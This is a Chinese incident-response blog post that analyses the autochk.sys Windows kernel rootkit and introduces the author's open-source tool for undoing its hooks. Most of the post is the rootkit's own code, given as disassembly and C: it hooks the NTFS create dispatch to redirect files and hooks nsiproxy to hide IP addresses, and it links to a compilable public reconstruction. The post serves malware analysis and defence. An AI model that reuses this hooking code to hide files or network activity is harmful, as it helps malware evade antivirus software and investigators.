一次应急响应中的Windows Rootkit对抗

admin 2025年1月20日14:01:24评论23 views字数 7912阅读26分22秒阅读模式
快过年了,已经无心写文章,这几天搬运点存货到公众号上,希望大家不要介意

随着github开源项目越来越多,小黑们的技术水平也在越来越提高,这几天,在处理应急响应的时候,我注意到一个开源的被滥用的rootkit正在使用 即 autochk.sys

autochk.sys

这个rootkit最早是APT组织EviLoong所编写的.用于隐藏恶意文件,该样本分为2个隐藏模块

文件隐藏模块

这个是最核心的模块,会直接让没有做rootkit对抗的软件如360火绒等失效,因为他会将文件重定向到其他地方.原理如下:

  1. 在驱动启动时候注册一个列表,这些是包含要重定向的文件列表:

    push    rbx
    sub     rsp, 40h
    lea     rdx, SourceString ; "\FileSystem\Ntfs"
    lea     rcx, [rsp+48h+NtfsDriverName] ; DestinationString
    call    cs:RtlInitUnicodeString
    lea     rdx, TargetFile ; "\WINDOWS\System32\DRIVERS\fltMgr.sy"...
    lea     rcx, OriginalFileName ; "\WINDOWS\System32\DRIVERS\autochk.s"...
    call    FsAddFileRedirection
    lea     rbx, aWindowsSystem3 ; "\Windows\System32\shlwapi.dll"
    lea     rcx, SourceFile ; "\Windows\System32\odbcwg32.cpl"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_1 ; "\Windows\System32\c_21268.nls"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_2 ; "\Windows\System32\cliconfg.cpl"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_3 ; "\Windows\System32\imekr61.dll"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_4 ; "\Windows\System32\PINTLGNT.dll"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_5 ; "\Windows\System32\chrsben.ime"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_6 ; "\Windows\System32\bitsprx.ime"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_7 ; "\Windows\System32\C_1950.NLS"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    lea     rcx, aWindowsSystem3_31 ; "\Windows\System32\C_26849.NLS"
    mov     rdx, rbx        ; TargetFile
    call    FsAddFileRedirection
    .....................
    ....................
  2. 启动后,对ntfs的派发函数进行挂钩,这样处于杀软的minifilter框架最外层,杀软将无法检测后续的文件落地行为:

     PDRIVER_OBJECT FileSystemDriver;
     PDRIVER_OBJECT HookDriverObject;
     NTSTATUS Status;

     Status = ObReferenceObjectByNamePtr(
         DriverObjectName, 
         OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 
         NULL, 
         0, 
         *IoDriverObjectType, 
         KernelMode, 
         NULL,
         &FileSystemDriver
         );

     if (!NT_SUCCESS(Status))
         return Status;

     HookDriverObject = FsGetDriverToHook(FileSystemDriver);

     if (HookDriverObject == NULL)
     {
         Status = STATUS_SUCCESS;
         goto clean;
     }

     if (IsRemove)
     {
         if (IsBetween((PCHAR)HookDriverObject->MajorFunction[IRP_MJ_CREATE], FsForbiddenRange.Min, FsForbiddenRange.Size))
         {
             Status = STATUS_UNSUCCESSFUL;
             goto clean;
         }

         g_FsOriginalCreateFileDispatcher = HookDriverObject->MajorFunction[IRP_MJ_CREATE];
         HookDriverObject->MajorFunction[IRP_MJ_CREATE] = FsCreateFileHook;
     }
     else
     {
         HookDriverObject->MajorFunction[IRP_MJ_CREATE] = g_FsOriginalCreateFileDispatcher;
     }
  3. 确定是目标文件后,修改对应文件名字.实现”驱动级重定向”

    if (FsGetRedirectionTarget(FileObjectName, RedirectionTarget) != STATUS_SUCCESS)
     {
         goto exit;
     }
     //
     // Look if this process should be ignored
     //
     PCHAR ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());

     for (ULONG i = 0; i < 13; i++)
     {
         if (!_stricmp(ProcessName, g_FsHardcodedIgnoredProcessList[i]))
         {
             goto exit;
         }
     }

     for (ULONG i = 0; i < 64; i++)
     {
         if (!_stricmp(ProcessName, g_FsDynamicIgnoredProcessesList[i]))
         {
             goto exit;
         }
     }

     D_INFO_ARGS("Redirecting file %wZ", FileObjectName);

     ULONG TargetNameLength = (ULONG)wcslen(RedirectionTarget);
     ULONG ExistingFileNameCapacity = (FileObjectName->MaximumLength / 2);

     if (ExistingFileNameCapacity <= TargetNameLength)
     {
         // 
         // ERR: Where is it freed?
         // Maybe it's automatically freed by the IO manager..
         //
         PVOID NewFileName = ExAllocatePoolWithTag(NonPagedPool, 520, 'pf');

         if (!NewFileName)
         {
             goto exit;
         }

         RtlZeroMemory(NewFileName, 520);

         RtlMoveMemory(NewFileName, RedirectionTarget, TargetNameLength);

         FileObjectName->Buffer = NewFileName;
         FileObjectName->MaximumLength = 520;
         FileObjectName->Length = (USHORT) (wcslen(NewFileName) * 2);
     }
     else
     {
         RtlZeroMemory(FileObjectName->Buffer, FileObjectName->MaximumLength);
         RtlMoveMemory(FileObjectName->Buffer, RedirectionTarget, TargetNameLength * 2);
         FileObjectName->Length = (USHORT)(TargetNameLength * 2);
     }

网络模块

如法炮制,挂钩NSI模块

NTSTATUS NetHookNsiProxy()
{
    UNICODE_STRING NsiProxyDriverName = RTL_CONSTANT_STRING(L"\Driver\nsiproxy");
    NTSTATUS Status;

    D_INFO("Hooking NsiProxy..");


    Status = ObReferenceObjectByName(
        &NsiProxyDriverName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        *IoDriverObjectType,
        KernelMode,
        NULL,
        &g_NetNsiProxyDriverObject
    );

    if (!NT_SUCCESS(Status))
    {

        D_ERROR_STATUS("Could not find NsiProxy!", Status);
        return Status;
    }

    if (!g_NetOldNsiProxyDeviceControl)
    {
        g_NetOldNsiProxyDeviceControl = g_NetNsiProxyDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL];

        if (g_NetOldNsiProxyDeviceControl == NULL)
        {
            D_INFO("Missing NsiProxy Handler");
            return STATUS_SUCCESS;
        }
    }

    InterlockedExchange64(
        (LONG64*)&g_NetNsiProxyDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL],
        (LONG64)NetNsiProxyDeviceControlHook
    );

    return STATUS_SUCCESS;
}

IOCTL_NSI_QUERY这个io_control 设置IO完成回调

NTSTATUS NetNsiProxyDeviceControlHook(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{

    PIO_STACK_LOCATION IoStackLocation = IoGetCurrentIrpStackLocation(Irp);

    if (IoStackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL_NSI_QUERY)
    {
        PHOOKED_IO_COMPLETION Hook = (PHOOKED_IO_COMPLETION)ExAllocatePool(NonPagedPool, sizeof(HOOKED_IO_COMPLETION));

        Hook->OriginalCompletionRoutine = IoStackLocation->CompletionRoutine;
        Hook->OriginalContext = IoStackLocation->Context;

        IoStackLocation->Context = Hook;
        IoStackLocation->CompletionRoutine = NetNsiProxyCompletionRoutine;

        Hook->RequestingProcess = PsGetCurrentProcess();
        Hook->InvokeOnSuccess = (IoStackLocation->Control & SL_INVOKE_ON_SUCCESS) ? TRUE : FALSE;

        IoStackLocation->Control |= SL_INVOKE_ON_SUCCESS;
    }

    return g_NetOldNsiProxyDeviceControl(DeviceObject, Irp);
}

在IO完成回调中,检查是否是需要隐藏的IP,是则清空NSI项目(吐槽一句,win7那会的技术到现在还看得到)


NTSTATUS NetNsiProxyCompletionRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
PHOOKED_IO_COMPLETION HookedContext = (PHOOKED_IO_COMPLETION)Context;

if (!NT_SUCCESS(Irp->IoStatus.Status))
{
    goto free_exit;
}

PNSI_STRUCTURE_1 NsiStructure1 = (PNSI_STRUCTURE_1)Irp->UserBuffer;

if (!MmIsAddressValid(NsiStructure1->Entries))
{
    goto free_exit;
}

if (NsiStructure1->EntrySize != sizeof(NSI_STRUCTURE_ENTRY))
{
    goto free_exit;
}

KAPC_STATE ApcState;

KeStackAttachProcess(HookedContext->RequestingProcess, &ApcState);

PNSI_STRUCTURE_ENTRY NsiBufferEntries = &(NsiStructure1->Entries->EntriesStart[0]);

for (ULONG i = 0; i < NsiStructure1->NumberOfEntries; i++)
{
    if (NetIsHiddenIpAddress(NsiBufferEntries[i].IpAddress))
    {
        RtlZeroMemory(&NsiBufferEntries[i], sizeof(NSI_STRUCTURE_ENTRY));

    }
}

KeUnstackDetachProcess(&ApcState);

free_exit:

    IoGetNextIrpStackLocation(Irp)->Context = HookedContext->OriginalContext;
    IoGetNextIrpStackLocation(Irp)->CompletionRoutine = HookedContext->OriginalCompletionRoutine;

    ExFreePool(HookedContext);

    //
    // ERR: There's a use after free here.
    //
    if (HookedContext->InvokeOnSuccess && IoGetNextIrpStackLocation(Irp)->CompletionRoutine)
    {
        //
        // ERR: Pass a Dangling Context Argument
        //
        return IoGetNextIrpStackLocation(Irp)->CompletionRoutine(DeviceObject, Irp, Context);
    }
    else
    {
        if (Irp->PendingReturned)
        {
            IoMarkIrpPending(Irp);
        }
    }

    return STATUS_SUCCESS;
}

bug

写驱动的作者应该是个新手,这个驱动充满了bug:
比如在IO控制回调:
一次应急响应中的Windows Rootkit对抗
这会直接导致一个UAF
另外作者可能不知道unicode_string可能不为0
一次应急响应中的Windows Rootkit对抗
unicode的字符串不一定是0结尾 结果这个作者用try保证读到0的时候不会爆炸…
一次应急响应中的Windows Rootkit对抗

死而复生

这个rootkit最早是2017年的,理论上已经死了很久了.
但是为什么最近又看到他了呢,因为老外在2019年的时候发了一篇文章
https://repnz.github.io/posts/autochk-rootkit-analysis/
除了日常说是panda做的外,老外还把源码完整的逆向并且变成了工程项目.可以直接编译
https://github.com/repnz/autochk-rootkit
导致大手子们开始复制粘贴……2023年 他又回来了!

对抗

我写了个简单的项目去对抗这种顽固的基于fltmgr直接hook的原理的rootkit,包括但不限于处理这种rootkit,理论上还包含此类的变种.
其原理是定位fltpcreate特征码,然后判断是否被挂钩,一旦被挂钩,此项目就会还原挂钩,让他的文件隐藏失效,这理论上通杀所有类似的rootkit

一次应急响应中的Windows Rootkit对抗

测试

这是rootkit原本的样子:
一次应急响应中的Windows Rootkit对抗
加载了rootkit,可以看到文件被修改成了系统文件,这个时候杀毒软件是杀不出来的(因为会被重定向到系统文件):
一次应急响应中的Windows Rootkit对抗
加载项目后,还原钩子,问题解决,此时再杀毒,应该能杀出来了
一次应急响应中的Windows Rootkit对抗
项目支持系统列表

windows 7
windows 10 1703
windows 10 1709
windows 10 1803
windows 10 1809
windows 10 1903
windows 10 1909
windows 10 2004
windows 10 21h1
windows 10 21h2
windows 10 20h2
windows 11

其他系统你有需求可以在github里面提PR,此外如果有其他的rootkit需要解决,也可以在github里面提给我

项目地址:
https://github.com/huoji120/numen

原文始发于微信公众号(冲鸭安全):一次应急响应中的Windows Rootkit对抗

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日14:01:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次应急响应中的Windows Rootkit对抗https://cn-sec.com/archives/3645319.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息